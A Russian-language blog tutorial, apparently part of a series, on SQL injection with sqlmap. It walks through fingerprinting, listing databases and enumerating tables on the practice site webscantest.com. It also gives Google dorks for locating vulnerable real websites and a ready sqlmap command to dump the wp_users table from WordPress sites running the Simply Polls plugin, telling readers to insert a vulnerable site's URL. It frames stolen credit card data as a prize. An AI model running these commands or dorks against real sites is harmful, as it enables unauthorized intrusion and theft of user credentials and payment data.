Взлом базы данных, часть 3: использование sqlmap для SQL-инъекций против MySQL и WordPress

SQL-инъекция является одной из наиболее важных и распространенных атак на веб-сайты. Почти каждый веб-сайт имеет базу данных, содержащую конфиденциальную и ценную информацию, которая часто может быть скомпрометирована хорошо спроектированной атакой SQL-инъекции.

Image for post
Image for post

Существует множество инструментов SQL-инъекций, но, вероятно, наиболее популярным является sqlmap. В этом руководстве мы будем использовать sqlmap для компрометации базы данных MySQL веб-сайта.

Как правило, MySQL объединяется с PHP и веб-сервером Apache (часто называемых LAMPP или XAMPP) для создания динамических веб-сайтов, управляемых базой данных. Такие пакеты для управления контентом и разработки, как Drupal, Joomla, Wordpress, Ruby on Rails, Laravel и другие, используют MySQL в качестве базовой базы данных по умолчанию. Миллионы веб-сайтов имеют бэкэнды MySQL, и очень часто они являются «доморощенными» веб-сайтами без особого внимания к безопасности.

В этом руководстве мы собираемся извлечь информацию о базе данных MySQL, прежде чем мы фактически извлечем информацию из базы данных. Еще раз повторюсь, чем больше мы знаем, тем успешнее будет наш взлом и тем меньше у вас шансов быть обнаруженным.

Sqlmap можно использовать для баз данных, отличных от MySQL, таких как Microsoft SQL Server и Oracle, но здесь мы сосредоточим свои возможности на тех вездесущих веб-сайтах, которые построены на PHP, Apache и MySQL, таких как WordPress, Joomla и Drupal.

Шаг № 1 Запустите sqlmap

Запускаем командную строку и клонируем репозиторий к себе с помощью команды:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

В папке куда мы загрузили репозиторий выполним команду и откроем справку.

python sqlmap.py -hh

Для работы у вас должен быть установлен пайтон на компьютере.

Шаг № 2 Найдите уязвимый веб-сайт

Чтобы попасть внутрь сайта и, в конечном итоге, в базу данных, мы ищем сайты, которые заканчиваются на «php? Id = xxx», где xxx представляет некоторое число. Те, кто знаком с Google hacks / dorks, могут выполнить поиск в Google, введя:

Inurl: index.php ID =?

Inurl: gallery.php ID =?

Inurl: post.php ID =?

Inurl: идентификатор статьи =?

… и многие другие.

Эти придурки откроют буквально миллионы веб-сайтов с этими основными критериями уязвимости. Если вы креативны и амбициозны, вы можете найти множество веб-сайтов со списком уязвимых веб-сайтов. Вы можете проверить это.

Для наших целей здесь и чтобы вы не попали под действие закона, мы будем взламывать веб-сайт, предназначенный для этой цели, www.webscantest.com . Мы можем попрактиковаться на этом веб-сайте и усовершенствовать свои навыки, не беспокоясь о нарушении каких-либо законов и необходимости зарабатывать деньги под залог.

Шаг № 3 Откройте sqlmap

Когда вы нажимаете на sqlmap , вы увидите экран, подобный приведенному ниже.

Image for post
Image for post

Этот первый справочный экран показывает вам некоторые основы использования sqlmap, но есть несколько экранов, показывающих еще больше опций. Для краткости я исключил их, но мы вернемся к некоторым из этих других опций и возможностей в будущих руководствах по sqlmap.

Sqlmap — это мощный инструмент, написанный в виде скрипта Python (скоро мы будем делать урок по Python), который имеет множество опций. В этом уроке мы просто расскажем о его возможностях.

Шаг № 4 Определите СУБД веб-сайта

Прежде чем мы начнем взламывать веб-сайт, нам нужно собрать информацию. Нам нужно знать, ЧТО мы взламываем. Как я уже говорил много раз ранее, большинство эксплойтов очень специфично для ОС, приложений, сервисов, портов и т. д.

Давайте начнем с выяснения, какая СУБД используется для веб-сайта.

Для запуска sqlmap для этой задачи мы набираем:

 kali>python sqlmap.py -u “полный URL уязвимой веб-страницы”

или наш случай:

kali> sqlmap -u "http://www.webscantest.com/datastore/
search_get_by_id.php
?id=4"

Обратите внимание, что весь URL-адрес заключен в двойные кавычки (“).

Image for post
Image for post

Когда мы сделаем это, sqlmap вернет результаты, подобные приведенным ниже. Обратите внимание, где я подчеркнул, что серверная часть сайта использует MySQL 5.0

Image for post
Image for post

Шаг № 5 Поиск баз данных

Теперь, когда мы знаем, что такое система управления базами данных (СУБД) MySQL 5.0, нам нужно знать, какие базы данных она содержит. Sqlmap может помочь нам в этом. Мы берем команду, которую использовали выше, и добавляем ее с — dbs , например так:

kali> sqlmap -u "http://www.webscantest.com/datastore/
search_get_by_id.php?id=4" --dbs

Когда мы запускаем эту команду для www.webscantest.com, мы получаем результаты, подобные приведенным ниже.

Image for post
Image for post

Обратите внимание, что я обвел две доступные базы данных: информационную схему и webscantest . Информационная схема включена в каждую установку MySQL и включает в себя информацию обо всех объектах в экземпляре MySQL, но это не данные, которые нас интересуют. Хотя может быть полезно изучить эту базу данных, чтобы найти объекты во всех базах данных в данном экземпляре, мы сосредоточим наше внимание на другой базе данных здесь, webscantest , которая может содержать некоторую ценную информацию. Давайте рассмотрим дальше.

Шаг № 6 Получить дополнительную информацию из базы данных

Итак, теперь мы знаем, что такое СУБД (MySQL 5.0) и название интересующей базы данных (webscantest). Следующий шаг — попытаться определить таблицы и столбцы в этой базе данных. Таким образом, у нас будет некоторое представление о том, (1) какие данные находятся в базе данных, (2) где они находятся и (3) какие типы данных они содержат (числовые или строковые). Вся эта информация является критической и необходимой для извлечения данных. Для этого нам нужно внести небольшие изменения в нашу команду sqlmap.

Все остальное, что мы использовали выше, остается прежним, но теперь мы сообщаем sqlmap, что хотим видеть таблицы и столбцы из базы данных webscantest.

Мы можем добавить нашу команду с — columns -D и именем базы данных, webscantest, например так:

kali> sqlmap -u "http://www.webscantest.com/datastore/
search_get_by_id.php?id = 4" --dbs --columns -D webscantest
Image for post
Image for post

Когда мы сделаем это, sqlmap нацелится на базу данных webscantest и попытается перечислить таблицы и столбцы в этой базе данных.

Как мы видим ниже, sqlmap успешно смог перечислить три таблицы; (1) счета, (2) инвентарь и (3) заказы, с именами столбцов и типами данных. Неплохо!

Image for post
Image for post
Image for post
Image for post

Обратите внимание, что таблица заказов выше содержит номера кредитных карт, даты истечения срока действия и CVV. В следующих уроках я покажу вам, как извлечь эту информацию, хакерское «Золотое руно» !!

Шаг № 7 Усовершенствованная и современная атака sqlmap против сайтов WordPress

Теперь, когда мы знакомы с основами sqlmap, давайте рассмотрим более сложное использование этого замечательного инструмента. Например, несколько лет назад исследователь безопасности (Tad Group) обнаружил уязвимость для расширенной атаки с использованием SQL-инъекций на веб-сайты WordPress, включающие в себя плагин Simply Опросы ( https://wordpress.org/plugins/simply-polls/). ) Большинство этих сайтов были уязвимы до випуска обновления.

Чтобы найти сайты WordPress, см. руководство по поиску уязвимых сайтов Wordpress.

Команда sqlmap для использования этих сайтов WordPress с плагином Simply Опросы:

sqlmap -u "http://example.com/wp-admin/admin-ajax.php" --data="action=spAjaxResults & pollid = 2" --dump -T wp_users -D wordpress --threads = 10 --random-agent --dbms=mysql --level = 5 --risk=3

Конечно, замените « example.com » на URL уязвимого сайта.

Вывод

Как видите, sqlmap может быть очень универсальным и полезным инструментом для MySQL, а также для взлома баз данных MS SQL Server и Oracle. Мы планируем вернуться к sqlmap в ближайшем будущем, чтобы изучить дополнительные возможности для взлома баз данных. Если вы заинтересованы в извлечении данных из этой базы данных, прочитайте мою следующую статью из этой серии, Взлом баз данных, часть 4: извлечение данных из базы данных

Written by

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store